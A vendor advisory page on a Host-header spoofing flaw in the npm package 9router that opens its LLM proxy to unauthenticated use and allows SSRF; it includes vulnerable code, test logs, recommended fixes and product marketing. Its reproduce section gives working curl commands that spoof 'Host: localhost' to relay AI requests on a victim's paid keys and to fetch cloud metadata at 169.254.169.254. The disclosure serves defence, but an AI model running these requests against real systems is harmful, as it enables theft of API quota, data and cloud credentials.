Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

GHSA-86m2-fcxq-5q7c

HIGHFix: decolua/9router@b282f05

GHSA-86m2-fcxq-5q7c is a high-severity (CVSS 8.2) CWE-290 vulnerability in 9router. O3 Security confirms whether GHSA-86m2-fcxq-5q7c is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

9router: Unauthenticated `/v1` proxy access via `Host`-header spoofing → open AI relay + SSRF

Also known asCVE-2026-55641
Published
Aug 28, 2026
Updated
Aug 28, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 28, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-86m2-fcxq-5q7c.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk+0.08%
Lower risk than most CVEs25th percentile — riskier than 25% of all scored CVEsHighest risk
0.00%0.27%0.55%0.82%0.2%0.3%Aug 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-86m2-fcxq-5q7c plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 365,950 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
📦9router

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.

Description

Summary

9router's request guard decides a request is "local" (and therefore exempt from API-key auth on the /v1 LLM proxy) by reading the client-controlled Host header. Because 9router binds 0.0.0.0 by default (and the CLI misleadingly prints "localhost"), a remote, unauthenticated attacker who can reach the port can send Host: localhost to be treated as local and obtain /v1 proxy access with no API key, no CLI token, and no dashboard login. In the default configuration (requireApiKey is absent from DEFAULT_SETTINGS, so the handler-side key check is skipped), this yields:

  • Open AI relay — the proxy forwards the attacker's requests to AI providers using the victim's stored paid API keys (cost/quota theft, prompt-based data exfiltration through the victim's accounts).

  • Unauthenticated SSRF/v1/search with the built-in noAuth searxng provider takes its outbound fetch URL from the request body (provider_options.baseUrl), so the attacker drives a server-side fetch to any internal/cloud-metadata host and gets the JSON response reflected back.

  • Affected: 9router <= 0.4.80 (current), src/dashboardGuard.js (isLocalRequest), src/sse/handlers/{chat,search}.js, src/lib/db/repos/settingsRepo.js, cli/cli.js.

  • Distinct from the existing advisories GHSA-fhh6-4qxv-rpqj (MCP-plugin RCE, patched) and GHSA-xrrh-p7f2-27vm (legacy <0.3.75 authz bypass).

Details

The bypass (src/dashboardGuard.js)

function isLoopbackHostname(h){ const name=h.split(":")[0].replace(/^\[|\]$/g,"").toLowerCase();
  return new Set(["localhost","127.0.0.1","::1"]).has(name); }
function isLocalRequest(request){
  if (!isLoopbackHostname(request.headers.get("host"))) return false;   // <-- client-controlled Host
  const origin = request.headers.get("origin");
  if (origin){ try { if (!isLoopbackHostname(new URL(origin).hostname)) return false; } catch { return false; } }
  return true;
}
async function canAccessPublicLlmApi(request){
  if (isLocalRequest(request)) return true;     // <-- "local" => no key required
  if (await hasValidCliToken(request)) return true;
  return await hasValidApiKey(request);
}

isLocalRequest never consults the socket peer address — only the spoofable Host header (and an absent/loopback Origin). The /v1,/v1beta,/api/v1,/api/v1beta prefixes are gated solely by canAccessPublicLlmApi.

Default exposure

  • cli/cli.js:63 const DEFAULT_HOST = "0.0.0.0"; and Dockerfile ENV HOSTNAME=0.0.0.0 / EXPOSE 20128 → reachable from the network by default.
  • cli/cli.js:500,541 display "localhost" even when bound to 0.0.0.0 — operators believe it's local-only.
  • src/lib/db/repos/settingsRepo.js DEFAULT_SETTINGS has no requireApiKey → the handler key checks (chat.js if (settings.requireApiKey), search.js same) are skipped by default.

Relay chain (verbatim trace, 0.4.71)

middleware (src/proxy.js, matcher covers all paths) → canAccessPublicLlmApi true via spoofed Host → next.config.mjs rewrites /v1/:path*/api/v1/:path*src/app/api/v1/messages/route.js POST → handleChat (no independent auth) → only gate falsy requireApiKeygetProviderCredentials() loads the victim's stored credentials → handleChatCore outbound fetch → response returned. No downstream key gate.

SSRF chain

search.js (only gate falsy requireApiKey) → searxng noAuth:truehandleSearchCore({credentials:null})coreBody.provider_options = body.provider_optionscallers.js:

export function resolveBaseUrl(config, params){
  const override = getProviderSetting(params, "baseUrl");   // reads params.providerOptions.baseUrl FIRST
  return (override || config.baseUrl).replace(/\/+$/, "");
}

buildSearxngRequest appends /search?q=...&format=json&categories=generalfetch(url) (server-side) → JSON reflected to caller.

PoC

Ground-truth, no network egress: harness/hostspoof.mjs (verbatim guard logic) and harness/ssrf_search.mjs (imports the real handleSearchCore + AI_PROVIDERS.searxng).

Guard bypass (hostspoof.mjs, exit 2):

attacker: remote, NO api key, NO cli token. Want canAccessPublicLlmApi === true == BYPASS
   denied       honest remote (real Host)
*** ALLOWED ***  SPOOF Host: localhost (no Origin)
*** ALLOWED ***  SPOOF Host: 127.0.0.1
*** ALLOWED ***  SPOOF Host: localhost:20128
   denied       SPOOF Host + Origin evil (blocked)
RESULT: BYPASS — remote key-less attacker spoofing Host: localhost is granted /v1 proxy access.

SSRF (ssrf_search.mjs, real imported code):

[*] searxng configured baseUrl: http://localhost:8888/search
[*] attacker provider_options.baseUrl: http://127.0.0.1:<port>
[*] credentials passed to core: null (noAuth => key-less attacker)
internal service reached by 9router process: true
path hit: /search?q=x&format=json&categories=general
data returned to attacker: [{"title":"INTERNAL-DATA",...,"content":"leaked"...}]
SSRF CONFIRMED: key-less request drove a server-side fetch to attacker URL.

Live confirmation against a RUNNING 9router (real HTTP, not just source/harness)

Built & ran [email protected] (Next.js 16.2.9, bound 0.0.0.0:20128, default settings, no provider configured, no api key/login). Attacker = a request to the box's non-loopback LAN IP 10.204.111.34 (a genuine remote peer); only the Host header differs between the control and the attack:

(A) honest Host (the IP):     POST /v1/search  Host: 10.204.111.34:20128
    => HTTP 401 {"error":"API key required for remote API access"}      [guard blocks remote]

(B) spoofed Host: localhost:  POST /v1/search  Host: localhost
       body: {"provider":"searxng","query":"x","provider_options":{"baseUrl":"http://127.0.0.1:19099"}}
    => HTTP 200, and the attacker's listener logged:
       [ATTACKER-LISTENER] 9router CONNECTED: GET /search?q=x&format=json&categories=general | from 127.0.0.1
    => the 9router SERVER PROCESS issued a GET to the attacker-controlled URL  = unauthenticated SSRF.

(B') relay path POST /v1/messages, same Host-spoof:
       honest Host => 401 ;  Host: localhost => 404 {"error":"No active credentials for provider: openai"}
    => bypass reached handleChat's provider selection (would forward on the VICTIM'S key if one were configured).

Changing only the Host header (401 → reaches the handler), from the same remote peer, is the entire bypass — confirmed live on a default-config running instance. (Full SSRF response reflection requires the upstream to return searxng-shaped JSON; otherwise it is a blind/semi-blind SSRF — the server-side request to the attacker URL is the proven primitive. The relay needs ≥1 configured provider — the normal state — to actually spend the victim's key.) See repro/LIVE-EVIDENCE.txt.

Reproduce (against a network-reachable 9router; VICTIM_IP = the box):

# Open AI relay — no Authorization/x-api-key/cookie; victim's key pays:
curl -sS http://VICTIM_IP:20128/v1/messages -H 'Host: localhost' -H 'Content-Type: application/json' \
  -d '{"model":"claude-3-5-sonnet-20241022","max_tokens":64,"messages":[{"role":"user","content":"relay test"}]}'

# SSRF — attacker-controlled server-side fetch (e.g. cloud metadata), JSON reflected:
curl -sS http://VICTIM_IP:20128/v1/search -H 'Host: localhost' -H 'Content-Type: application/json' \
  -d '{"provider":"searxng","query":"x","provider_options":{"baseUrl":"http://169.254.169.254/latest/meta-data"}}'

Impact

Any 9router reachable on a network (default 0.0.0.0 bind, plus Docker -p, tunnel, or tailscale — all first-class features) can be:

  • used as a free AI relay billed to the victim's provider accounts, exhausting quota and exfiltrating data through their keys; and
  • used to reach internal services / cloud metadata (169.254.169.254) with the response reflected to the attacker. Unauthenticated, no user interaction, default configuration. The only precondition is the normal one (≥1 configured provider).

Recommended fix

  1. Determine "local" from the socket peer IP, never the Host header — treat as local only if the TCP peer is 127.0.0.0/8 / ::1.
  2. Bind 127.0.0.1 by default; require an explicit, warned opt-in for 0.0.0.0; fix the CLI to not print "localhost" when bound to all interfaces.
  3. For any non-loopback peer, require a valid API key regardless of requireApiKey; add requireApiKey: true to DEFAULT_SETTINGS (fail-closed).
  4. Validate provider_options.baseUrl against an allowlist (or drop the override) and block requests to private/link-local ranges in resolveBaseUrl.
  5. Remove Access-Control-Allow-Origin: * from /v1 GET metadata routes.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm9routerall versions0.5.2

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for 9router. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update 9router to 0.5.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-86m2-fcxq-5q7c is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-86m2-fcxq-5q7c is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-86m2-fcxq-5q7c. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary 9router's request guard decides a request is "local" (and therefore exempt from API-key auth on the `/v1` LLM proxy) by reading the **client-controlled `Host` header**. Because 9router binds `0.0.0.0` by default (and the CLI misleadingly prints "localhost"), a remote, unauthenticated attacker who can reach the port can send `Host: localhost` to be treated as local and obtain `/v1` proxy access with **no API key, no CLI token, and no dashboard login**. In the default configuration (`requireApiKey` is absent from `DEFAULT_SETTINGS`, so the handler-side key check is skipped), this yie
O3 Security · Impact-Aware SCA

Is GHSA-86m2-fcxq-5q7c in your dependencies?

O3 detects GHSA-86m2-fcxq-5q7c across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-86m2-fcxq-5q7c: 9router Remote Code… | O3 Security